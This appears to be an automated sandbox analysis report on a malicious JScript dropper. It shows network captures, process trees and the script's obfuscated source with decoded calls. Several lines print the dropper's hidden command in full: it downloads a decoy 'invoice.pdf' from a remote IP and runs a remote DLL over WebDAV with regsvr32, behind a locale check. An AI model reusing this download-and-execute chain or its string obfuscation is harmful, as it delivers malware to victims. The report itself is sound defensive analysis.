obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:55:21.356131077 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:55:21.356142044 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:55:21.356154919 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:55:21.356168032 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 21:55:21.356180906 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 21:55:21.356193066 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 21:55:21.356208086 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 21:55:21.356220007 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 21:55:21.356234074 CET	448	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 21:55:21.361140966 CET	940	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	193.143.1.205	8888	7640	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:55:23.422108889 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:55:24.226634979 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:55:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	4
Start time:	15:55:15
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js"
Imagebase:	0x7ff79e700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:55:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Imagebase:	0x7ff7113f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:55:15
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:55:16
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:55:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	15:55:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7113f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:55:22
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69f490000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:55:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	15:55:23
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:55:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1688,i,1640275491988738719,18112798055175536522,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fyyyujtuq() {	fyyyujtuq() ➔ undefined
1	sguid = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ggngjnqn = this[voiarfl + pglqi + enifsirz + gqrzailnx + qpyemiibs + mxpuxcfoh + tzlhnh + fxnccc] ( this[hlchdhpar + injunb + hvytofs + enifsirz + ynnqma + voiarfl + fxnccc][bmnbdarpz + enifsirz + qpyemiibs + pglqi + fxnccc + qpyemiibs + diufvj + nqhmvkmcr + upmtcvtc + qpyemiibs + hvytofs + fxnccc] ( hlchdhpar + injunb + hvytofs + enifsirz + ynnqma + voiarfl + fxnccc + knnwm + injunb + gpjjtkem + qpyemiibs + ycetxp + ycetxp ) [mqgxl + qpyemiibs + ftejnisj + mqgxl + qpyemiibs + pglqi + spnvkwm] ( hwrvllh + wauetnm + sqqdzxwb + yocuulfit + vdxudrda + bmnbdarpz + pvuglfe + mqgxl + mqgxl + sqqdzxwb + onfqbuxb + gbgsyldwk + vdxudrda + pvuglfe + injunb + sqqdzxwb + mqgxl + vdpih + bmnbdarpz + icjhvd + tzlhnh + fxnccc + enifsirz + icjhvd + ycetxp + laqhe + ljmmt + pglqi + tzlhnh + qpyemiibs + ycetxp + vdpih + mxpuxcfoh + tzlhnh + fxnccc + qpyemiibs + enifsirz + tzlhnh + pglqi + fxnccc + ynnqma + icjhvd + tzlhnh + pglqi + ycetxp + vdpih + nvhyvvk + icjhvd + hvytofs + pglqi + ycetxp + qpyemiibs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rtxxyscxi = 0 ; rtxxyscxi < sguid[ycetxp + qpyemiibs + tzlhnh + ftejnisj + fxnccc + gpjjtkem] ; ++ rtxxyscxi )
4	{
5	if ( ggngjnqn == sguid[rtxxyscxi] )
6	{
7	ggngjnqn = true;
8	break ;
9	}
10	}
11	if ( ggngjnqn !== true )
12	this[hlchdhpar + injunb + hvytofs + enifsirz + ynnqma + voiarfl + fxnccc][yuvbrsbap + sbgniyapy + ynnqma + fxnccc] ( );
13	this[hlchdhpar + injunb + hvytofs + enifsirz + ynnqma + voiarfl + fxnccc][bmnbdarpz + enifsirz + qpyemiibs + pglqi + fxnccc + qpyemiibs + diufvj + nqhmvkmcr + upmtcvtc + qpyemiibs + hvytofs + fxnccc] ( hlchdhpar + injunb + hvytofs + enifsirz + ynnqma + voiarfl + fxnccc + knnwm + injunb + gpjjtkem + qpyemiibs + ycetxp + ycetxp ) [enifsirz + sbgniyapy + tzlhnh] ( hvytofs + rqsoeqeh + spnvkwm + laqhe + xkyst + hvytofs + laqhe + voiarfl + icjhvd + uuycwturs + qpyemiibs + enifsirz + gqrzailnx + gpjjtkem + qpyemiibs + ycetxp + ycetxp + knnwm + qpyemiibs + xcrjfr + qpyemiibs + laqhe + yltumo + bmnbdarpz + icjhvd + rqsoeqeh + rqsoeqeh + pglqi + tzlhnh + spnvkwm + laqhe + tbqjc + mxpuxcfoh + tzlhnh + uhrrs + icjhvd + dhrqeaml + qpyemiibs + yltumo + hlchdhpar + qpyemiibs + nqhmvkmcr + mqgxl + qpyemiibs + lbgumbivm + sbgniyapy + qpyemiibs + gqrzailnx + fxnccc + laqhe + yltumo + diufvj + sbgniyapy + fxnccc + jcvyruu + ynnqma + ycetxp + qpyemiibs + laqhe + ohyipcu + fxnccc + qpyemiibs + rqsoeqeh + voiarfl + ohyipcu + vdpih + ynnqma + tzlhnh + uhrrs + icjhvd + ynnqma + hvytofs + qpyemiibs + knnwm + voiarfl + spnvkwm + zvpsefpm + laqhe + gpjjtkem + fxnccc + fxnccc + voiarfl + xssnj + xkyst + xkyst + athoulobq + klesisbfc + napadr + knnwm + athoulobq + oyhfq + napadr + knnwm + athoulobq + knnwm + eumgmz + ynnhxage + woabdcki + xkyst + ynnqma + tzlhnh + uhrrs + icjhvd + ynnqma + hvytofs + qpyemiibs + knnwm + voiarfl + gpjjtkem + voiarfl + tbqjc + rwwewpro + rwwewpro + gqrzailnx + fxnccc + pglqi + enifsirz + fxnccc + laqhe + ohyipcu + fxnccc + qpyemiibs + rqsoeqeh + voiarfl + ohyipcu + vdpih + ynnqma + tzlhnh + uhrrs + icjhvd + ynnqma + hvytofs + qpyemiibs + knnwm + voiarfl + spnvkwm + zvpsefpm + rwwewpro + rwwewpro + hvytofs + rqsoeqeh + spnvkwm + laqhe + xkyst + hvytofs + laqhe + tzlhnh + qpyemiibs + fxnccc + laqhe + sbgniyapy + gqrzailnx + qpyemiibs + laqhe + vdpih + vdpih + athoulobq + klesisbfc + napadr + knnwm + athoulobq + oyhfq + napadr + knnwm + athoulobq + knnwm + eumgmz + ynnhxage + woabdcki + pztmknrmz + vwfktaj + vwfktaj + vwfktaj + vwfktaj + vdpih + spnvkwm + pglqi + uhrrs + uuycwturs + uuycwturs + uuycwturs + enifsirz + icjhvd + icjhvd + fxnccc + vdpih + rwwewpro + rwwewpro + hvytofs + rqsoeqeh + spnvkwm + laqhe + xkyst + hvytofs + laqhe + enifsirz + qpyemiibs + ftejnisj + gqrzailnx + uhrrs + enifsirz + napadr + eumgmz + laqhe + xkyst + gqrzailnx + laqhe + vdpih + vdpih + athoulobq + klesisbfc + napadr + knnwm + athoulobq + oyhfq + napadr + knnwm + athoulobq + knnwm + eumgmz + ynnhxage + woabdcki + pztmknrmz + vwfktaj + vwfktaj + vwfktaj + vwfktaj + vdpih + spnvkwm + pglqi + uhrrs + uuycwturs + uuycwturs + uuycwturs + enifsirz + icjhvd + icjhvd + fxnccc + vdpih + eumgmz + klesisbfc + athoulobq + zhbba + zhbba + napadr + ynnhxage + vwfktaj + woabdcki + woabdcki + napadr + athoulobq + napadr + oymdwsqa + napadr + knnwm + spnvkwm + ycetxp + ycetxp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll",0,false) ➔ 0
14	}
15	enifsirz = "Q";
16	enifsirz = "B";
17	enifsirz = "h";
18	enifsirz = "T";
19	enifsirz = "Y";
20	enifsirz = "n";
21	enifsirz = "r";
22	gbgsyldwk = "y";
23	gbgsyldwk = "Y";
24	gbgsyldwk = "H";
25	gbgsyldwk = "N";
26	gbgsyldwk = "t";
27	gbgsyldwk = "T";
28	ftejnisj = "u";
29	ftejnisj = "v";
30	ftejnisj = "w";
31	ftejnisj = "i";
32	ftejnisj = "e";
33	ftejnisj = "p";
34	ftejnisj = "k";
35	ftejnisj = "l";
36	ftejnisj = "L";
37	ftejnisj = "m";
38	ftejnisj = "v";
39	ftejnisj = "H";
40	ftejnisj = "v";
41	ftejnisj = "W";
42	ftejnisj = "s";
43	ftejnisj = "x";
44	ftejnisj = "l";
45	ftejnisj = "X";
46	ftejnisj = "C";
47	ftejnisj = "v";
48	ftejnisj = "K";
49	ftejnisj = "g";
50	ftejnisj = "y";
51	ftejnisj = "Y";
52	ftejnisj = "Q";
53	ftejnisj = "O";
54	ftejnisj = "g";
55	xkyst = "w";
56	xkyst = "y";
57	xkyst = "r";
58	xkyst = "s";
59	xkyst = "b";
60	xkyst = "D";
61	xkyst = "I";
62	xkyst = "Q";
63	xkyst = "Z";
64	xkyst = "F";
65	xkyst = "R";
66	xkyst = "l";
67	xkyst = "O";
68	xkyst = "G";
69	xkyst = "L";
70	xkyst = "E";
71	xkyst = "h";
72	xkyst = "E";
73	xkyst = "m";
74	xkyst = "T";
75	xkyst = "o";
76	xkyst = "K";
77	xkyst = "o";
78	xkyst = "F";
79	xkyst = "X";
80	xkyst = "m";
81	xkyst = "O";
82	xkyst = "n";
83	xkyst = "b";
84	xkyst = "I";
85	xkyst = "/";
86	xssnj = "g";
87	xssnj = "U";
88	xssnj = "n";
89	xssnj = "L";
90	xssnj = "F";
91	xssnj = "w";
92	xssnj = "U";
93	xssnj = "n";
94	xssnj = "t";
95	xssnj = "f";
96	xssnj = "d";
97	xssnj = ":";
98	yltumo = "o";
99	yltumo = "G";
100	yltumo = "q";
101	yltumo = "L";
102	yltumo = "e";
103	yltumo = "R";
104	yltumo = "H";
105	yltumo = "S";
106	yltumo = "s";
107	yltumo = "j";
108	yltumo = "P";
109	yltumo = "r";
110	yltumo = "M";
111	yltumo = "s";
112	yltumo = "m";
113	yltumo = "n";
114	yltumo = "B";
115	yltumo = "i";
116	yltumo = "M";
117	yltumo = "K";
118	yltumo = "p";
119	yltumo = "d";
120	yltumo = "b";
121	yltumo = "D";
122	yltumo = "T";
123	yltumo = "I";
124	yltumo = "G";
125	yltumo = "G";
126	yltumo = "c";
127	yltumo = "T";
128	yltumo = "Q";
129	yltumo = "I";
130	yltumo = "a";
131	yltumo = "a";
132	yltumo = "b";
133	yltumo = "P";
134	yltumo = "k";
135	yltumo = "F";
136	yltumo = "r";
137	yltumo = "V";
138	yltumo = "D";
139	yltumo = "J";
140	yltumo = "-";
141	ycetxp = "c";
142	ycetxp = "d";
143	ycetxp = "V";
144	ycetxp = "I";
145	ycetxp = "S";
146	ycetxp = "p";
147	ycetxp = "Z";
148	ycetxp = "N";
149	ycetxp = "F";
150	ycetxp = "U";
151	ycetxp = "o";
152	ycetxp = "g";
153	ycetxp = "d";
154	ycetxp = "I";
155	ycetxp = "x";
156	ycetxp = "Z";
157	ycetxp = "n";
158	ycetxp = "q";
159	ycetxp = "n";
160	ycetxp = "b";
161	ycetxp = "X";
162	ycetxp = "A";
163	ycetxp = "O";
164	ycetxp = "B";
165	ycetxp = "p";
166	ycetxp = "j";
167	ycetxp = "X";
168	ycetxp = "l";
169	onfqbuxb = "i";
170	onfqbuxb = "j";
171	onfqbuxb = "y";
172	onfqbuxb = "t";
173	onfqbuxb = "Q";
174	onfqbuxb = "x";
175	onfqbuxb = "a";
176	onfqbuxb = "O";
177	onfqbuxb = "Z";
178	onfqbuxb = "Z";
179	onfqbuxb = "J";
180	onfqbuxb = "F";
181	onfqbuxb = "q";
182	onfqbuxb = "P";
183	onfqbuxb = "C";
184	onfqbuxb = "U";
185	onfqbuxb = "W";
186	onfqbuxb = "Q";
187	onfqbuxb = "g";
188	onfqbuxb = "U";
189	onfqbuxb = "X";
190	onfqbuxb = "i";
191	onfqbuxb = "I";
192	onfqbuxb = "w";
193	onfqbuxb = "J";
194	onfqbuxb = "a";
195	onfqbuxb = "G";
196	onfqbuxb = "h";
197	onfqbuxb = "t";
198	onfqbuxb = "C";
199	onfqbuxb = "f";
200	onfqbuxb = "i";
201	onfqbuxb = "C";
202	onfqbuxb = "N";
203	eumgmz = "a";
204	eumgmz = "l";
205	eumgmz = "o";
206	eumgmz = "E";
207	eumgmz = "k";
208	eumgmz = "p";
209	eumgmz = "u";
210	eumgmz = "e";
211	eumgmz = "q";
212	eumgmz = "u";
213	eumgmz = "M";
214	eumgmz = "o";
215	eumgmz = "T";
216	eumgmz = "K";
217	eumgmz = "l";
218	eumgmz = "I";
219	eumgmz = "D";
220	eumgmz = "O";
221	eumgmz = "o";
222	eumgmz = "m";
223	eumgmz = "U";
224	eumgmz = "v";
225	eumgmz = "J";
226	eumgmz = "F";
227	eumgmz = "R";
228	eumgmz = "F";
229	eumgmz = "E";
230	eumgmz = "c";
231	eumgmz = "j";
232	eumgmz = "D";
233	eumgmz = "C";
234	eumgmz = "h";
235	eumgmz = "b";
236	eumgmz = "V";
237	eumgmz = "q";
238	eumgmz = "c";
239	eumgmz = "d";
240	eumgmz = "E";
241	eumgmz = "2";
242	zvpsefpm = "u";
243	zvpsefpm = "C";
244	zvpsefpm = "b";
245	zvpsefpm = "R";
246	zvpsefpm = "C";
247	zvpsefpm = "L";
248	zvpsefpm = "f";
249	zvpsefpm = "l";
250	zvpsefpm = "D";
251	zvpsefpm = "U";
252	zvpsefpm = "p";
253	zvpsefpm = "E";
254	zvpsefpm = "O";
255	zvpsefpm = "X";
256	zvpsefpm = "O";
257	zvpsefpm = "S";
258	zvpsefpm = "b";
259	zvpsefpm = "a";
260	zvpsefpm = "v";
261	zvpsefpm = "r";
262	zvpsefpm = "e";
263	zvpsefpm = "B";
264	zvpsefpm = "k";
265	zvpsefpm = "q";
266	zvpsefpm = "C";
267	zvpsefpm = "z";
268	zvpsefpm = "p";
269	zvpsefpm = "E";
270	zvpsefpm = "H";
271	zvpsefpm = "P";
272	zvpsefpm = "W";
273	zvpsefpm = "D";
274	zvpsefpm = "h";
275	zvpsefpm = "e";
276	zvpsefpm = "W";
277	zvpsefpm = "F";
278	zvpsefpm = "A";
279	zvpsefpm = "p";
280	zvpsefpm = "g";
281	zvpsefpm = "k";
282	zvpsefpm = "W";
283	zvpsefpm = "f";
284	knnwm = "o";
285	knnwm = "i";
286	knnwm = "c";
287	knnwm = "d";
288	knnwm = "o";
289	knnwm = "E";
290	knnwm = "b";
291	knnwm = "A";
292	knnwm = "F";
293	knnwm = "n";
294	knnwm = "P";
295	knnwm = "t";
296	knnwm = "W";
297	knnwm = ".";
298	lbgumbivm = "Z";
299	lbgumbivm = "E";
300	lbgumbivm = "l";
301	lbgumbivm = "W";
302	lbgumbivm = "q";
303	uhrrs = "d";
304	uhrrs = "a";
305	uhrrs = "U";
306	uhrrs = "W";
307	uhrrs = "W";
308	uhrrs = "p";
309	uhrrs = "e";
310	uhrrs = "v";
311	laqhe = "F";
312	laqhe = "i";
313	laqhe = "E";
314	laqhe = "R";
315	laqhe = "g";
316	laqhe = "o";
317	laqhe = "w";
318	laqhe = "o";
319	laqhe = " ";
320	rqsoeqeh = "l";
321	rqsoeqeh = "f";
322	rqsoeqeh = "q";
323	rqsoeqeh = "X";
324	rqsoeqeh = "G";
325	rqsoeqeh = "m";
326	jcvyruu = "F";
327	athoulobq = "Y";
328	athoulobq = "j";
329	athoulobq = "V";
330	athoulobq = "Z";
331	athoulobq = "v";
332	athoulobq = "n";
333	athoulobq = "R";
334	athoulobq = "x";
335	athoulobq = "1";
336	gqrzailnx = "q";
337	gqrzailnx = "E";
338	gqrzailnx = "Y";
339	gqrzailnx = "d";
340	gqrzailnx = "Y";
341	gqrzailnx = "d";
342	gqrzailnx = "O";
343	gqrzailnx = "Z";
344	gqrzailnx = "G";
345	gqrzailnx = "W";
346	gqrzailnx = "s";
347	gqrzailnx = "i";
348	gqrzailnx = "Q";
349	gqrzailnx = "l";
350	gqrzailnx = "N";
351	gqrzailnx = "b";
352	gqrzailnx = "x";
353	gqrzailnx = "C";
354	gqrzailnx = "c";
355	gqrzailnx = "m";
356	gqrzailnx = "P";
357	gqrzailnx = "g";
358	gqrzailnx = "z";
359	gqrzailnx = "H";
360	gqrzailnx = "s";
361	nqhmvkmcr = "R";
362	nqhmvkmcr = "d";
363	nqhmvkmcr = "U";
364	nqhmvkmcr = "x";
365	nqhmvkmcr = "f";
366	nqhmvkmcr = "J";
367	nqhmvkmcr = "Q";
368	nqhmvkmcr = "P";
369	nqhmvkmcr = "y";
370	nqhmvkmcr = "t";
371	nqhmvkmcr = "r";
372	nqhmvkmcr = "K";
373	nqhmvkmcr = "D";
374	nqhmvkmcr = "F";
375	nqhmvkmcr = "O";
376	nqhmvkmcr = "G";
377	nqhmvkmcr = "A";
378	nqhmvkmcr = "Y";
379	nqhmvkmcr = "p";
380	nqhmvkmcr = "Y";
381	nqhmvkmcr = "v";
382	nqhmvkmcr = "G";
383	nqhmvkmcr = "r";
384	nqhmvkmcr = "w";
385	nqhmvkmcr = "F";
386	nqhmvkmcr = "B";
387	nqhmvkmcr = "g";
388	nqhmvkmcr = "O";
389	nqhmvkmcr = "u";
390	nqhmvkmcr = "O";
391	nqhmvkmcr = "m";
392	nqhmvkmcr = "Q";
393	nqhmvkmcr = "i";
394	nqhmvkmcr = "L";
395	nqhmvkmcr = "L";
396	nqhmvkmcr = "X";
397	nqhmvkmcr = "h";
398	nqhmvkmcr = "g";
399	nqhmvkmcr = "A";
400	nqhmvkmcr = "e";
401	nqhmvkmcr = "K";
402	nqhmvkmcr = "V";
